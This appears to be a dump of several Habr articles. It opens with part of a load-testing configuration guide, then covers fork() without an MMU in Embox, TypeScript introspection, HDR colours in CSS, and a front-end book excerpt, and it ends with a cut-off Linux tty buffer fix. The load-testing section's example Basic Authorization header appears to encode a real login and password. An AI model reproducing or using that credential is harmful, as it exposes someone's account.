time_periods = 1ms 2 3 4 5 6 7 8 9 10 20 30 40 50 60 70 80 90 100 150 200 250 300 350 400 450 500 600 650 700 750 800 850 900 950 1s 1500 2s 2500 3s 3500 4s 4500 5s 5500 6s 6500 7s 7500 8s 8500 9s 9500 10s 11s 12s 13s 14s 15s 16s 17s 18s 19s 20s 21s 22s 23s 24s 25s 26s 28s 29s 30s 100s 300s
[web]
port = 80 ;
interval = 1 ;
manualstop = 1 ;
[phantom]
address = 176.9.95.100
;ssl = 1
port = 80
rps_schedule=step(10,100,10, 10s) ;load schemei
; Headers and URIs for GET requests
header_http = 1.1
headers = [Host: centos-admin.ru]
; [Authorization: Basic xxxxxxxxxxxxxx]
[Connection: close]
uris = /
/rates
[autostop]
autostop=time(2s,2s)
http(5xx,100%,2s)
net(xx,10,30)
```
Теперь немного о том, что всё это значит:
1. [loadosophia] это раздел который описывает куда складывать отчеты. Для его настройки необходимо зарегестрироваться на [loadosophia.org](https://loadosophia.org), сгенерировать там token и указать его в конфигурационном файле.
Также удобно указывать test\_title, чтобы при тестировании нескольких сайтов можно было разделить отчеты.
2. [aggregator] интервалы, по которым будет вестись округление результатов, разделители списка — пробелы
3. [web] модуль запускает локальный веб-сервер, показывающий графики онлайн-теста.
4. [phantom]
address — адрес сервера на котором распологается сайт. Может быть задан как в виде iP так и URL
ssl — используется ли ssl, 1 — да, 0 — нет
port — порт сайта
rps\_schedule самое интересное, он показывает как будет подаваться нагрузка. и тут возможны 3 варианта:
step(start rps,stop rps, step, time)
Copy
start rps — со-скольки rps начинать.
stop rps — до скольки rps выполнять тест.
step — по сколько rps прибавлять.
time — время каждого шага.
Постоянная нагрузка:
const(rps, time)
Copy
По возрастающей:
line(star rps, stop rps, time)
Copy
Пример: step(10,50, 3, 60s) — в этом случае тест начнется с 10 rps, и каждые 60 секунд будет добавлять по 3 rps пока не дойдет до 50 rps.
headers — заголовки, передаваемые с запросом.
Пример: [Host: centos-admin.ru] чтобы можно было определить какой vhost;
[Authorization: Basic dmd1cnlhbm92Ok1pbGVuaXVtMzIx] — если нужна авторизация;
[Connection: close] — чтобы сервер закрывал сразу подключение, а не по таймауту.
uris — список uri по которым будет идти тест
ammofile — вместо uris, задается имя файла, в котором содержится список запросов.
instances — максимальное число тестирующих потоков/
5. [autostop] раздел в котором определяется в каком случае прекратить тестирование.
time — остановить тест, если среднее время ответа превышает заданный порог в течение заданного времени, код выхода 21. Например: time(1s500ms, 30s) time(50,15)
http — остановить тест, если число кодов HTTP, соответствующих маске, больше заданного абсолютного или относительного порога, код выхода 22. Примеры: http(404,10,15) http(5xx, 10%, 1m)
net — аналогично HTTP-кодам, но для сетевых кодов ответа, код выхода 23. допустима маска xx, означающая «все ненулевые»
Ну и немного о том как выглядят отчеты:
Вкладка Summary: общие данные теста.
Вкладка Distributions: Содержит данные по распределению времени ответа на запрос. Проще говоря, сколько запросов было получено за период времени n:
Количество ответов за 0-100,100-200 мс и т.д.
!!!
Какой % ответов было получен за время n:
Вкладка Timelines: Распределение времени ответа в зависимости от ответа.
Важные показатели:
TPS (transaction per sec) тоже самое, что и rps.
VU сколько параллельных процессов было запущенно чтобы обеспечить заданное количество rps.
TPS = (1000 / responce time) \* VU.
Наиболее интересный график:
Среднее время отклика для заданного количества rps
Вкладка Target Monitoring:
Здесь выводятся параметры тестируемой сети, если на нее установлен агент. Устанавливается автоматически по ssh.
Остальные вкладки являются вариацией.
Ну и напоследок, для тех кто дочитал до конца) Расскажу о том, как мы это используем. Обычно, в начале мы включаем на сервере всевозможное логирование, и запускаем быстрый тест с неограниченным rps(~ 10000). Смотрим сколько выдерживает сервер и запоминаем это число. Дальше идет процесс оптимизации сервера, просмотр логов, поиск медленных запросов в БД и медленных скриптов php, c оптимизацией системных настроек. И так до дех пор, пока не увидим что сервера больше не держат из за ресурсов. Проводим тест, сравниваем полученную цифру с исходной и радуемся. Ну и в конце мы запускаем тест на несколько часов, чтобы убедиться что сайт выдерживает продолжительную нагрузку.
В одной из следующих статей мы постараемся показать на примере как проходит оптимизация.
Автор: системный администратор [компании](http://centos-admin.ru) Magvai69 | https://habr.com/ru/post/277897/ | null | ru | null |
# Реализация fork() без MMU
 Здравствуй, читатель! Пару лет назад в [статье про vfork()](https://habrahabr.ru/company/embox/blog/232605/) я обещал рассказать про реализацию fork() для систем без MMU, но руки до этого дошли только сейчас :)
В этой статье я расскажу, как мы реализовали такой странный `fork()`. Проверять работоспособность буду на сторонней программе — dash — интерпретаторе, который использует `fork()` для запуска приложений.
Кому интересно, прошу под кат.
Может возникнуть закономерный вопрос — зачем вообще делать какую-то урезанную версию `fork()`, если примерно для этого и существует `vfork()`, как раз позволяющий создавать процессы без использования MMU? На самом деле, есть ряд приложений, которые не используют копирование адресного пространства «на полную катушку», но и `vfork()`-а им недостаточно (напомню, что при использовании `vfork()` в потомке даже стек трогать нельзя, т. е. нельзя возвращаться из функции или менять локальные переменные).
dash — POSIX-совместимая легковесная оболочка — как раз служит примером такой программы. Если упростить, при вызове сторонних программ dash использует `fork()`, после чего в обоих процессах (родительском и дочернем) модифицирует некоторые статические данные, производит некоторые операции с кучей, затем дочерний процесс вызывает нужную программу с помощью `execv()`, а родитель вызывает `waitpid()` и ждёт завершения потомка.
Небольшой ликбез для тех, кто не понимает, что значат все эти слова, но почему-то продолжил читать статью: в UNIX-системах процессы создаются при помощи системного вызова `fork()`. По [определению из POSIX](http://pubs.opengroup.org/onlinepubs/009695399/functions/fork.html), `fork()` должен создавать точную копию процесса за исключением некоторых переменных. При успешном выполнении функция возвращает значение ноль дочернему процессу и номер дочернего процесса — родителю (после этого процессы начинают «жить своей жизнью»). Получается, что в системе начинают работать два процесса с одними и теми же адресами переменных, с одним и тем же адресом стека и так далее. Тем не менее, данные «не путаются» между процессами благодаря использованию виртуальной памяти: создаётся копия данных родителя, и процесс-потомок обращается к другим физическим адресам. Подробнее про виртуальную память можно почитать [здесь](https://habrahabr.ru/company/embox/blog/256191/).
Современные MMU позволяют выставлять права доступа для страниц памяти, поэтому для создания процесса достаточно просто клонировать таблицу трансляции, помечая при этом страницы флагом copy-on-write, а при попытке записи в данную страницу клонировать данные по-настоящему. Отсутствие MMU не только лишает возможности использовать эту оптимизацию, но и ставит под вопрос возможность реализации вызова `fork()` в принципе. Без аппаратной поддержки виртуальной памяти программы используют физические адреса, а не виртуальные, а значит — процесс, полученный с помощью `fork()`, неизбежно будет обращаться к тем же самым данным, что и процесс-родитель.
В широком смысле, под адресным пространством процесса понимают всю память, замэпированную для того или иного процесса. Сюда входит сегмент с программным кодом, куча, стэки потоков, частично память ядра, может входить память периферии и так далее. В статье под адресным пространством будет пониматься куча (heap), статические данные (здесь и дальше под статическими данными подразумеваются данные из секций .bss и .data) и стек процесса, то есть данные которые могут быть изменены в обоих процессах. Именно с этими данными и придётся разбираться, чтобы избежать путаницы между работой «форкнутых».
Поскольку речь идёт о реализации `fork()` в многозадачной ОС, важную роль играет переключение контекста процесса. О переключении контекстов объектов, которые делят процессорное время, написано в нашей статье [«Организация многозадачности в ядре ОС»](https://habrahabr.ru/company/embox/blog/219431/). В данном случае должно переключаться ещё и адресное пространство. Если в системах с MMU это, грубо говоря, изменение указателя на таблицу трансляции, то в случае отсутствия MMU обеспечить корректную работу процессов будет сложнее.
Один из способов — подменять значения на стеке, в куче и в статической памяти при переключении процессов. Это, конечно, очень медленно, но достаточно просто. Собственно, в этом и заключается идея для реализации нашего `fork()` без MMU. Мы запоминаем необходимые данные для «форкнутных» процессов и при переключении копируем значения в рабочее адресное пространство. Для стека, кучи и статических данных это делается по-разному.
### Стек
В нашей ОС память для стеков потоков выделяется не динамически, а из статического пула, соответственно, некоторая часть .bss содержит в себе место под стеки. Нас интересуют только те стеки, соответствующие потоки которых являются «форкнутыми». Процессы-копии, согласно определению POSIX, должны иметь лишь один поток (копию того, в котором произошёл соответствующий системный вызов), но `fork()` может быть вызван из разных потоков в разное время, поэтому нужно для каждого адресного пространства поддерживать список потоков, стеки которых необходимо сохранять.
### Куча
Данные кучи сохраняются в буфере, который выделяется из статического пула страниц.
### .bss и .data
Embox (вместе со всеми приложениями) компилируется в один статический образ, поэтому информация о секциях .bss и .data берётся не из какого-нибудь ELF-файла, а сохраняется в общую секцию под уникальным именем (например, `__module_embox__cmd__shell_data_vma`). Информация о том, какие данные относятся к какому приложению, сохраняется в специальной структуре, которая задаётся во время компиляции.
```
struct mod_app {
char *data;
size_t data_sz;
char *bss;
size_t bss_sz;
};
```
Во время исполнения по текущему процессу можно узнать, где хранятся его данные.
При непосредственном запуске программы нужно скопировать соответствующие данные в некоторую область памяти (чтобы при последующих запусках программы начальные значения переменных были корректными).
Вот к эти куски памяти мы и будем копировать в выделенный участок системной памяти.
fork
----
Вышесказанного достаточно для того, чтобы понять, как именно работает вызов `fork()`.
Сама функция `fork` является архитектурно-зависимой. На языке ассемблера реализована передача регистров в качестве аргумента вызову `fork_body()` — функции, реализующей логику системного вызова.
Хотя большинство читателей знакомо больше с набором команд x86, приведу реализацию для ARM, так как она гораздо короче и понятнее.
Регистры сохраняем в структуре pt\_regs:
```
typedef struct pt_regs {
int r[13]; /* Регистры общего назначения */
int lr; /* Адрес возврата */
int sp; /* Указатель стека */
int psr; /* Состояние программы, ARM-специфичный регистр */
} pt_regs_t;
```
**Исходный код функции fork()**
```
/* Регистры будем сохранять на стеке, для этого выделяем 68 байт */
sub sp, sp, #68
/* Копируем 13 регистров общего назначения и регистр возврата */
stmia sp, {r0 - r12, lr}
/* Сохраняем SP */
str sp, [sp, #56]
/* Напрямую записывать CPSR в память не можем, поэтому считываем CPSR в r0*/
mrs r0, cpsr;
/* Сохраняем CPSR на стеке */
str r0, [sp, #60];
/* По соглашению о вызовах в r0 передаётся первый аргумент */
mov r0, sp
/* Переходим к архитектурно-независимой части вызова */
b fork_body
```
Как вы могли заметить, на самом деле, в ptregs сохраняется не корректное значение SP, а сдвинутое на 68 байт (в которые мы положили структуру `pt_regs_t`). Мы это учтём при восстановлении регистров.
**Архитектурно-независимая часть вызова fork()**
```
void _NORETURN fork_body(struct pt_regs *ptregs) {
struct addr_space *adrspc;
struct addr_space *child_adrspc;
struct task *parent;
pid_t child_pid;
struct task *child;
assert(ptregs);
parent = task_self();
assert(parent);
child_pid = task_prepare("");
if (0 > child_pid) {
ptregs_retcode_err_jmp(ptregs, -1, child_pid);
panic("%s returning", __func__);
}
adrspc = fork_addr_space_get(parent);
if (!adrspc) {
adrspc = fork_addr_space_create(NULL);
fork_addr_space_set(parent, adrspc);
}
/* Save the stack of the current thread */
fork_stack_store(adrspc, thread_self());
child = task_table_get(child_pid);
child_adrspc = fork_addr_space_create(adrspc);
/* Can't use fork_addr_space_store() as we use
* different task as data source */
fork_stack_store(child_adrspc, child->tsk_main);
fork_heap_store(&child_adrspc->heap_space, task_self());
fork_static_store(&child_adrspc->static_space);
memcpy(&child_adrspc->pt_entry, ptregs, sizeof(*ptregs));
sched_lock();
{
child = task_table_get(child_pid);
task_start(child, fork_child_trampoline, NULL);
fork_addr_space_set(child, child_adrspc);
thread_stack_set(child->tsk_main, thread_stack_get(thread_self()));
thread_stack_set_size(child->tsk_main, thread_stack_get_size(thread_self()));
}
ptregs_retcode_jmp(ptregs, child_pid);
sched_unlock();
panic("%s returning", __func__);
}
```
Вызов функции `ptregs_retcode_jmp()` приведёт к возврату в родителький процесс. В свою очередь, дочерний процесс воспользуется тем же вызовом при старте процесса.
```
static void *fork_child_trampoline(void *arg) {
struct addr_space *adrspc;
adrspc = fork_addr_space_get(task_self());
fork_stack_restore(adrspc, stack_ptr());
ptregs_retcode_jmp(&adrspc->pt_entry, 0);
panic("%s returning", __func__);
}
```
После того, как потомок вызывает execv(), необходимости поддерживать пересекающиеся адресные пространства уже нет, и, соответственно, копировать ничего при переключении контекста не нужно.
Проверка работоспособности
--------------------------
Собственно, для dash такой функциональности оказалось вполне достаточно :)
Для проверки в Embox можно запустить template x86/qemu
```
git clone https://github.com/embox/embox.git
cd embox
make confload-x86/qemu
make
./scripts/qemu/auto_qemu
```
После чего вызываем dash и внутри неё можно вызывать другие команды, например, ping.
Скорее всего, «потыкав» dash можно будет добиться какого-нибудь exception, не стесняйтесь создавать issue в [нашем репозитории](https://github.com/embox/embox/) :) | https://habr.com/ru/post/347542/ | null | ru | null |
# Разбираем классы по косточкам или интроспектируем типы в Typescript
«Крутую ты штуку придумал, Стёпа», — сообщил мне коллега, осознав рассказанную ему идею. Надеюсь это действительно так, хоть и не скажу, что в том, о чём далее пойдёт речь, есть что-то безумно новаторское, однако, на мой взгляд, интерес данный материал всё же представляет.
Сегодня поговорим о применении интроспекции в разработке веб-интерфейсов, немного пошаманим с обобщённым программированием и изобретём велосипед в Typescript, имеющий похожий аналог в .NET.
### Что мы знаем об интроспекции?
Википедия гласит, что это возможность запросить тип и структуру объекта во время выполнения программы.
Ну то есть имеется класс:
```
class Person {
height: number;
weight: number;
bloodPressure: string;
}
```
Его объект определяется набором полей, каждое из которых имеет, по крайней мере, свой тип и значение.
При этом данный массив мы можем получить в любой момент выполнения программы, вызвав какую-то функцию.
```
const fields = ObjectFields.of(Person)
```
### От теории к практике
Я, конечно, человек с замыленными мозгами, но в данной ситуации буду мыслить шаблонно. Вытянуть имена полей можно с помощью `Object.keys`, а типизировать это дело уже через `keyof`. Далее используя ключи, как индексы, получаем значения и данные о них.
Пропустив через себя эту информацию, можно выразить свои выводы следующим образом. Начнём с простого, описав некий тип, характеризующий поле объекта.
```
interface IObjectField {
readonly field: keyof T;
readonly type: string;
readonly value: any;
}
```
Если задуматься, то можно увидеть, что это сильно напоминает [FieldInfo](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.fieldinfo?view=net-5.0). ~~Правда я это понял в момент написания статьи :)~~
И сейчас самое время вспомнить, что Typescript — это не .NET. Например, создавать экземпляры объекта в контексте обобщённого программирования здесь можно [только с помощью фабрик](https://www.typescriptlang.org/docs/handbook/generics.html#using-class-types-in-generics). То есть, как в C# не прокатит.
Если описывать конструктор некого класса, то получится приблизительно следующее.
```
interface IConstructor {
new(...args: any[]): T;
}
```
Хорошо, попробуем создать инструмент для интроспекции класса, который бы удовлетворял следующим требованиям:
1. Всё, что у нас есть на входе — это конструктор изучаемого класса.
2. На выходе мы получаем массив объектов типа `IObjectField`
3. Сгенерированные данные — неизменяемы.
Вот теперь рассуждения в начале раздела переведены на язык Typescript.
```
class ObjectFields extends Array> {
readonly [n: number]: IObjectField;
constructor(type: IConstructor) {
const instance: T = new type();
const fields: Array> = (Object.keys(instance) as Array)
.map(x => {
const valueType = typeof instance[x];
let result: IObjectField = {
field: x,
type: valueType === 'object'
? (instance[x] as unknown as object).constructor.name
: valueType,
value: instance[x]
}
return result;
});
super(...fields);
}
}
```
Попробуем "прочитать" класс `Person` и выведем данные на экран.
```
const fields = new ObjectFields(Person);
console.log(fields);
```
Правда, вместо ожидаемого вывода получили пустой массив.
Как же так? Всё скомпилировалось и отработало без ошибок. Однако дело в том, что результирующий массив строится с помощью `Object.keys`, и поскольку в рантайме работает Javascript, то какой объект засунем, такой набор ключей и получим. А объект — пустой, вот и информация о типах, которую мы попытались извлечь, куда-то потерялась. Чтобы её "вернуть", необходимо инициализировать поля класса какими-то начальными значениями.
```
class Person {
height: number = 80;
weight: number = 188;
bloodPressure: string = '120-130 / 80-85';
}
```
Вуаля — получили, что хотели.
Также протестируем более сложную ситуацию.
```
class Material {
name = "wood";
}
class MyTableClass {
id = 1;
title = "";
isDeleted = false;
createdAt = new Date();
material = new Material();
}
```
Результат превзошёл ожидания.
### И что с этим делать?
Первое, что пришло в голову: CRUD приложения на react теперь можно писать, реализуя обобщённые компоненты. Например, нужно сделать форму для вставки в таблицу. Пожалуйста, никто не запрещает делать что-то такое.
```
interface ITypedFormProps {
type: IConstructor;
}
function TypedForm(props: ITypedFormProps) {
return (
{new ObjectFields(props.type).map(f => mapFieldToInput(f))}
);
}
```
И использовать потом этот компонент вот так.
Ну и саму таблицу сделать по такому же принципу тоже возможно.
### Подводя итоги
Хочется сказать, что штука получилась интересная, но пока непонятно, что с ней делать дальше. Если вам было интересно или есть какие-либо предложения, пишите в комментариях, а пока до новых встреч! Спасибо за внимание!
---
Ещё я веду telegram канал [StepOne](https://t.me/steponeit), где оставляю небольшие заметки про разработку и мир IT. | https://habr.com/ru/post/535920/ | null | ru | null |
# HDR in CSS
High Dynamic Range (HDR) allows for a wider range of colours and brightness levels. This technology works on displays that support HDR format. Nowadays web advantage of display gamuts such as Display P3 and Rec. 2020, which can display a much larger color space than traditional sRGB displays. It is [50% more colours](https://twitter.com/svgeesus/status/1220029106248716288).
CSS is ready to fix it (at least for Apple users). Find colour gamuts comparison, code examples and device support overview below.
---
### What is HDR?
Colour coverage for sRGB and Rec. 2020 gamuts.The color gamut is a numerical value that specifies the visible range of colours on a certain device. The CIE (International Commission on Illumination) 1931 color space is a widely used color model that defines a color space based on human perception of colors. Since 1996 sRGB or *safe‑web*colours interpret colours for browser and monitors. Nowadays displays are able to show 50% more colours from sRGB.
You can see live examples of HDR in CSS by visiting websites optimised for HDR displays [[1]](https://2021-hd-color-at-css-camp.netlify.app/#hd-color), [[2]](https://biketheft.gustav.uber.space), [[3]](https://hdr.js.garden), [[4]](http://digimyths.online). These websites shows more vivid colours, brighter highlights, and deeper blacks. Find more examples on [GitHub](https://github.com/search?l=CSS&q=display-p3&type=Code) by searching `display-p3`.
HDR images are often used for photography. They capture more detail than traditional photos do. Meanwhile `dynamic-range` in CSS checks display settings!
There are two ways to output extra color in css: `color()` and `lch()`. First defines colourspace and rgb‑format values. Latter is special notation for its own device independent colourspace. Find rgb, lch, rec.2020 and display‑p3 comparison below.
### Device support
HDR displays are becoming more common, and support for HDR in CSS is increasing as well. Currently, Apple’s latest models of iPhone, iPad and MacBooks have HDR displays. Safari on macOS Mojave and iOS 11 support css syntax. Latest Apple Pro display accepts its best rec.2020 color gamut. It means it can work in sRGB mode, so all colours fade like in old magazines.
When it comes to device support, there isn't a huge difference between iOS and Android. First, display should support HDR, second, software should support CSS high‑dynamic styles.
Starting with iMac in 2015 Display P3 is know and still in 2023 only safari supports it. There is [wide gamut website](https://www.wide-gamut.com) to check your display support.
You can use JavaScript to check if a device supports HDR displays. Adjust your website with an example below.
```
function isitHDRReady() {
// Check if browser supports hdr media queries
var mediaCheck = window.matchMedia(
"(dynamic-range: high) and (color-gamut: p3)"
).matches;
// Check if browser supports color() function
var supportCheck =
window.CSS && window.CSS.supports("color", "color(display-p3 1 1 1)");
if (mediaCheck && supportCheck) {
return true;
}
return false;
}
```
### CSS4 Color Values
The CSS4 Color Module has added several new color values. For example the ability to specify colours in the sRGB and P3 color spaces. This syntax allows for more precise colour values. It is especially useful for HDR displays. Find a code sample for green colour below.
```
span {
color: #00ff00;
color: color(display-p3 0 1 0);
color: lch(87.819% 137 134.384);
color: color(rec2020 0 1 0);
}
```
#### color()
sRBG is interpretation of CIE 1931 color space and has 0...255 range of colour codes.
`color(rgb 1 0 0)`— *show the very red colour in sRGB gamut*.
#### hsl()
**H**ue is a presentation of spectrum color. **S**aturation aka Brightness aka Chroma is level of colour intensity. Value aka **L**ightness aka Darkness is level of white/black filter for colour.
#### lch()
**L**ightness, **C**hroma, **H**ue means the same, but their mathematical bounds differ. Hue is a bit different and Chroma has no limits in theory.
### What about production support?
Use fallback values for pure css. Create React App and Parcel work out of the box. For Tailwind custom plugin wrap color in quotes. It adds fallback.
`'custom-yellow': 'color(rec2020 0.9508 1 0.0035)'`
### Conclusion
HDR is a future. It will be great for web design and development. We're seeing more of CSS4 and browser support improves.
### 🐣 Easter egg
There is one [discovered CSS trick or bug](https://fff.kidi.ng/). Put HDR video into webpage, add a text with backdrop-filter and brightness greater than 100%. It will display a brighter white by exploiting the HDR capability of browser. It's not a standardized feature and may not work across all browsers and devices. This tab also consumes a lot of energy.
### Further Reading
* [LCH colours in CSS: what, why, and how?](https://lea.verou.me/2020/04/lch-colors-in-css-what-why-and-how/)
* [W3C Workshop on Wide Color Gamut and High Dynamic Range for the Web](https://www.w3.org/Graphics/Color/Workshop/overview.html)
* [HD CSS Colors by Adam Argyle](https://www.youtube.com/watch?v=e2UFhL_qAeU)
* [Check your screen color gamut](https://www.wide-gamut.com/)
* [Wide Gamut Color in CSS with Display-P3](https://webkit.org/blog/10042/wide-gamut-color-in-css-with-display-p3/)
* [Improving Color on the Web](https://webkit.org/blog/6682/improving-color-on-the-web/)
* [Wide Gamut 2D Graphics using HTML Canvas](https://webkit.org/blog/12058/wide-gamut-2d-graphics-using-html-canvas/)
* [LCH Colour Picker](https://css.land/lch/)
* [How to start designing assets in Display P3](https://developer.apple.com/news/?id=5cda5ipr)
* [Color Spaces](https://ciechanow.ski/color-spaces/)
* [CSS Color Module Level 5](https://drafts.csswg.org/css-color-5/)
* [State of CSS Color 2022](https://web.dev/state-of-css-2022/#relative-color-syntax)
* [Real world code examples of HDR color](https://github.com/search?l=CSS&q=color%28display-p3&type=Code)
* [Get Started with Display P3](https://developer.apple.com/videos/play/wwdc2017/821/)
* [CIE 1931 color space](https://en.wikipedia.org/wiki/CIE_1931_color_space) | https://habr.com/ru/post/715084/ | null | en | null |
# Книга «Front-end. Клиентская разработка для профессионалов. Node.js, ES6, REST»
[](https://habrahabr.ru/company/piter/blog/334064/) В книге рассмотрены все важнейшие навыки работы с JavaScript, HTML5 и CSS3, требующиеся разработчику, чтобы преуспеть в создании современного клиентского кода. Изучая эту книгу, вы напишете четыре веб-приложения. Каждому приложению посвящена отдельная часть книги, а каждая глава добавляет в создаваемое приложение новые функциональные возможности. Создание этих четырех веб-приложений даст вам возможность изучить все технологии, требуемые для создания клиентской части.
• *Ottergram*. Наш первый проект посвящен веб-фотогалерее. Создание Ottergram научит вас основам программирования для браузеров с помощью языка разметки HTML, таблиц стилей CSS и языка программирования JavaScript. Вы вручную создадите пользовательский интерфейс и узнаете, как браузер загружает и визуализирует контент.
• *CoffeeRun*. Частично форма заказа кофе, частично — список заказов. CoffeeRun познакомит вас с множеством методов языка программирования JavaScript, включая написание модульного кода, использование преимуществ замыканий и взаимодействие с удаленным сервером с помощью технологии Ajax.
Далее под катом...
• *Chattrbox*. Часть, описывающая приложение Chattrbox, — самая короткая, и это приложение больше всего отличается от остальных. В нем будет использоваться язык программирования JavaScript для создания системы общения в Интернете, включая написание сервера чата с помощью платформы Node.js, а также браузерного клиента для чата.
• *Tracker*. Последний проект использует Ember.js — один из самых функциональных фреймворков для разработки клиентской части. Мы напишем приложение для каталогизации случаев наблюдения редких, экзотических и мифических существ. По ходу дела вы узнаете, как использовать возможности богатейшей экосистемы, лежащей в основе фреймворка Ember.js.
По мере создания этих приложений вы познакомитесь с множеством инструментов, включая:
— Текстовый редактор Atom и некоторые полезные плагины для работы с кодом;
— Источники документации, например Mozilla Developer Network;
— Командную строку с использованием приложения терминала OS X или командной строки Windows;
— Утилиту browser-sync;
— Инструменты разработчика браузера Google Chrome (Google Chrome’s Developer Tools);
— Файл normalize.css;
— Фреймворк Bootstrap;
— Библиотеки jQuery, crypto-js и moment;
— Платформу Node.js, систему управления пакетами Node (npm) и модуль nodemon;
— Протокол WebSockets и модуль wscat;
— Компилятор Babel и модули Babelify, Browserify и Watchify;
— Фреймворк Ember.js и такие дополнения к нему, как интерфейс командной строки Ember CLI, плагин для Chrome Ember Inspector, дополнение Ember CLI Mirage и шаблонизатор Handlebars;
— Систему управления пакетами Bower;
— Систему управления пакетами Homebrew;
— Утилиту Watchman.
### Отрывок. Организация цикла по массиву миниатюр
Связывание миниатюр с кодом обработки событий будет быстрым и несложным делом. Мы напишем функцию, которая станет отправной точкой всей логики Ottergram. В других языках программирования, в отличие от JavaScript, есть встроенный механизм запуска приложения. Но не волнуйтесь — его достаточно легко можно реализовать вручную.
Начнем с добавления функции initializeEvents в конец файла main.js. Этот метод свяжет воедино все шаги по превращению Ottergram в интерактивное приложение. Во-первых, он получит массив миниатюр. Далее он пройдет в цикле по массиву, добавляя обработчик нажатий для каждой из них. После написания этой функции мы добавим вызов функции initializeEvents в самый конец файла main.js для ее запуска.
В теле нашей новой функции добавьте вызов функции getThumbnailsArray и присвойте результат (массив миниатюр) переменной thumbnails:
```
...
function getThumbnailsArray() {
...
}
function initializeEvents() {
'use strict';
var thumbnails = getThumbnailsArray();
}
```
Далее нам нужно пройти в цикле по массиву миниатюр, по одному элементу за раз. При обращении к каждому из них мы будем вызывать метод addThumbClickHandler и передавать ему элемент миниатюры. Это может показаться несколькими шагами, но поскольку thumbnails — настоящий массив, сделать все это можно с помощью вызова одного-единственного метода.
Добавьте вызов метода thumbnails.forEach в файл main.js и передайте его функции addThumbClickHandler в качестве обратного вызова.
```
...
function initializeEvents() {
'use strict';
var thumbnails = getThumbnailsArray();
thumbnails.forEach(addThumbClickHandler);
}
```
Обратите внимание, что вы передаете в качестве обратного вызова поименованную функцию. Как вы прочтете далее, это не всегда хорошее решение. Однако в данном случае оно сработает как надо, поскольку функции addThumbClickHandler требуется только та информация, которая будет ей передаваться, когда ее будет вызывать метод forEach, — элемент массива thumbnails.
Наконец, чтобы увидеть все это в действии, добавьте вызов функции initializeEvents в самый конец файла main.js:
```
...
function initializeEvents() {
'use strict';
var thumbnails = getThumbnailsArray();
thumbnails.forEach(addThumbClickHandler);
}
initializeEvents();
```
Помните, браузер выполняет код по мере чтения каждой строки вашего JavaScript. На протяжении большей части файла main.js он просто выполняет объявления переменных и функций. Но когда он дойдет до строки initializeEvents();, он выполнит эту функцию. Сохраните и вернитесь в браузер. Нажмите на несколько различных миниатюр и полюбуйтесь на плоды своих трудов (рис. 6.28).
Откиньтесь на спинку кресла, расслабьтесь и наслаждайтесь щелчками на фото выдр! Вы немало потрудились и усвоили много нового во время создания интерактивного слоя нашего сайта. В следующей главе мы завершим создание Ottergram, добавив для пущей красоты визуальные эффекты.
### Серебряное упражнение: взлом ссылок
DevTools браузера Chrome предоставляют немало возможностей для развлечений с посещаемыми страницами. Следующее упражнение будет заключаться в том, чтобы поменять все ссылки на странице результатов поиска так, чтобы они вели в никуда.
Зайдите в вашу любимую поисковую систему и выполните поиск по ключевому слову выдры. Откройте консоль DevTools. Используя написанные для Ottergram функции в качестве образца, подключите прослушиватели событий ко всем ссылкам и отключите имеющуюся по умолчанию функциональность перехода по щелчку кнопкой мыши.
### Золотое упражнение: случайные выдры
Напишите функцию для изменения атрибута data-image-url случайно выбранной миниатюры выдры так, чтобы увеличенное изображение более не соответствовало миниатюре. Используйте URL изображения по вашему выбору (хотя можно отыскать неплохое путем поиска в Интернете по слову tacocat). В качестве дополнительного упражнения напишите функцию, возвращающую миниатюрам выдр исходные значения атрибута data-image-url и меняющую одну из них, выбранную случайным образом.
### Для самых любознательных: строгий режим
Что такое строгий режим и для чего он существует? Он был создан в качестве более «чистого» режима JavaScript, позволяет перехватывать определенные виды ошибок программирования (например, опечатки в именах переменных), удерживая разработчиков от использования некоторых подверженных ошибкам частей языка и отключая возможности языка, которые попросту явно неудачны.
У строгого режима есть немало преимуществ:
• Заставляет использовать ключевое слово var
• Не требует использования операторов with
• Ограничивает способы использования функции eval
• Рассматривает дублирующиеся имена параметров функций как синтаксическую ошибку
Все это можно получить всего лишь за счет размещения директивы 'use strict' наверху функции. В качестве бонуса директива 'use strict' игнорируется не поддерживающими ее старыми версиями браузеров (эти браузеры просто рассматривают эту директиву как строку).
Прочесть больше о строгом режиме можно на MDN по [адресу](http://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode).
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/best/product/front-end-klientskaya-razrabotka-dlya-professionalov-nodejs-es6-rest)
» [Оглавление](http://storage.piter.com/upload/contents/978549602930/978549602930_X.pdf)
» [Отрывок](http://storage.piter.com/upload/contents/978549602930/978549602930_p.pdf)
Для Хаброжителей скидка 20% по купону — **Front-end** | https://habr.com/ru/post/334064/ | null | ru | null |
# Как избежать разыменования нулевого указателя, на примере одного исправления в ядре Linux
Идея в следующем. Чтобы не было разыменования нулевого указателя, нужно, чтобы не было нулевого указателя. Ваш КО. Так сложилось, что однажды я исправил небольшую проблему в ядре Linux, но это была не текущая ветка ядра, а стабильная. В текущей, на тот момент, эту проблему тоже исправили, но по другому.
Проблема была простая и весьма распространенная. Один поток освобождает буфер, во время, пока второй продолжает его использовать. Состояние гонки. Как избежать этой ситуации? Можно заставить один поток подождать, пока второй использует буфер, решение простое, но не эффективное, порой громоздкое.
[Первый вариант](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/drivers/tty/tty_buffer.c?id=c56a00a165712fd73081f40044b1e64407bb1875)
Мое решение было другим, а зачем, собственно ждать, пока освободиться буфер, чтобы тут же его стереть? Давайте оставим его в покое, буфер небольшой 512 байт погоды не сделает. Удалим все другие буферы, которые точно в данный момент не используются, а последний оставим. Это намного облегчит процесс синхронизации двух потоков ядра, об этом просто не надо будет думать. А данные, которые останутся в буфере, в любом случае могут быть, т.к. поступают туда по прерыванию, и даже, если бы мы освободили последний буфер, в тот же момент, по прерыванию, возможно выделение нового буфера и запись туда новых данных. Таким образом, получаем эффективное и более простое решение, чем решение в лоб. Пришлось удалять первое исправление и добавлять свое, что сделало исправление намного больше, чем должно было быть.
[Второй вариант](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/drivers/tty/tty_buffer.c?id=64325a3be08d364a62ee8f84b2cf86934bc2544a)
**Первоначальный вариант.**
```
---
diff --git a/drivers/tty/tty_buffer.c b/drivers/tty/tty_buffer.c
index 6c9b7cd..4f02f9c 100644
--- a/drivers/tty/tty_buffer.c
+++ b/drivers/tty/tty_buffer.c
